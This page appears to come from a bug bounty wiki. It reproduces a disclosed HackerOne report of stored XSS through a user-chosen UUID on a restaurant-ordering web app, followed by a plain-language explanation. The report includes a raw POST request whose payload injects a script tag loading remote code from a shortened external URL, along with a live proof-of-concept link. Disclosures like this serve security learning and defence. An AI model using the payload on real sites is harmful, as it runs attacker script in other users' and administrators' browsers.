Ability to create own account UUID leads to stored XSS
The server allowed users to set their own UUID without validating the characters, so an attacker could inject a script tag that would execute when the UUID was displayed. This could lead to stored cross-site scripting on admin panels and other pages.
Originally disclosed on HackerOne
- Triaged in 31 hours
- Fixed in 28 days
- Paid in 7 days
- Disclosed after 23 months
Summary by the program
The server allows the client to create and submit its own UUID which was not validated. This resulted in the ability to create a crafted XSS payload.
The report
I found an interesting bug where the system allows a user to create their own UUIDs. There are character length restrictions on this action, however it's not bound to a specific set of characters. Even so, I was able to include an external script that I URL shortened to just hit the character limit exactly. I was lucky I didn't need to add the closing script tag, because the one at the end of the line takes care of it. I wanted to get a full PoC rather than an alert(1), because I think it could have been argued that the space was too small to actually do anything meaningful with.
This attack is similar in the way to #246806, except I'm quite confident this will be executed on admin panels and anywhere else a UUID is displayed, since sanitization on that attribute is highly unlikely.
PoC Just replace the email with the one you own, and click the email confirmation link.
POST /c/user HTTP/1.1
Host: app.upserve.com
Accept: application/json
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://app.upserve.com/settings/account
Content-Length: 134
Content-Type: text/plain;charset=UTF-8
DNT: 1
Connection: close
uuid=</script><script src=//is.gd/z0i2sU>&email=[YOUR EMAIL]&brand_pretty_url=ace-wasabis-rock-n-roll-sushi
Live PoC Visit the following page: https://app.upserve.com/b/ace-wasabis-rock-n-roll-sushi?email_token=2aa7296c678e11e7ab2f0242ac110002
The generated HTML looks like:
YUI.namespace('Env.DATA').consumer = {"uuid":"</script><script src=//is.gd/z0i2sU>","firstName":null,
Thanks, -- Tanner
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the server did not validate or sanitise the user-supplied UUID, allowing script tags to be stored and later rendered without encoding.
Impact
The script could execute on admin panels and anywhere else the UUID is displayed.
What the attacker needed
A free account; victim views the UUID
How it was found
- Send a POST request to /c/user with a crafted uuid parameter containing a script tag and your email.
- Click the email confirmation link to activate the account.
- Visit the page that displays the UUID to trigger the script.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A UUID is a unique identifier, like a long string of letters and numbers. The website let users choose their own UUID but didn't check what characters they used, so someone could put a script in it. When other people viewed that UUID, the script would run in their browser, which is called cross-site scripting (XSS).
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.